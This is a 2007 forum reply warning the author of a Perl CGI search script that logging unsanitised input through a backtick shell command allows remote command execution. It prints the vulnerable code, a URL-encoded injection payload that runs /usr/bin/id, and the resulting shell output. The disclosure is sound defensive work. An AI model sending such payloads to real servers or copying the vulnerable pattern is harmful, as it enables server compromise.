#2 Re: web locate Posted by Steve (62.30.xx.xx) on Fri 16 Feb 2007 at 22:34 Congratulations - you've just allowed remote users to execute arbitary commands upon your server..! Although you delete non-alphanumeric characters before executing your locate command you do not do so before logging. Consider this code: if(param){ my $word = param('query'); `echo \'$word\' >> search.log`; ... } Now consider the following query string: word=test'%0d;/usr/bin/id%3E/tmp/foo This decodes to: test' ;/usr/bin/id>/tmp/foo Which together becomes: echo 'test' /usr/bin/id>/tmp/foo >> search.log Leaving: skx@mine:~/cvs/yawns$ ls /tmp/fof^M -l -rw-r--r-- 1 www-data www-data 54 2007-02-16 22:30 /tmp/fof? skx@mine:~/cvs/yawns$ cat /tmp/fof^M uid=33(www-data) gid=33(www-data) groups=33(www-data) Suprise!

Congratulations - you've just allowed remote users to execute arbitary commands upon your server..!
Although you delete non-alphanumeric characters before executing your locate command you do not do so before logging.
Consider this code:
if(param){ my $word = param('query'); `echo \'$word\' >> search.log`; ... }
Now consider the following query string:
word=test'%0d;/usr/bin/id%3E/tmp/foo
This decodes to:
test' ;/usr/bin/id>/tmp/foo
Which together becomes:
echo 'test' /usr/bin/id>/tmp/foo >> search.log
Leaving:
skx@mine:~/cvs/yawns$ ls /tmp/fof^M -l -rw-r--r-- 1 www-data www-data 54 2007-02-16 22:30 /tmp/fof? skx@mine:~/cvs/yawns$ cat /tmp/fof^M uid=33(www-data) gid=33(www-data) groups=33(www-data)
Suprise!
Steve
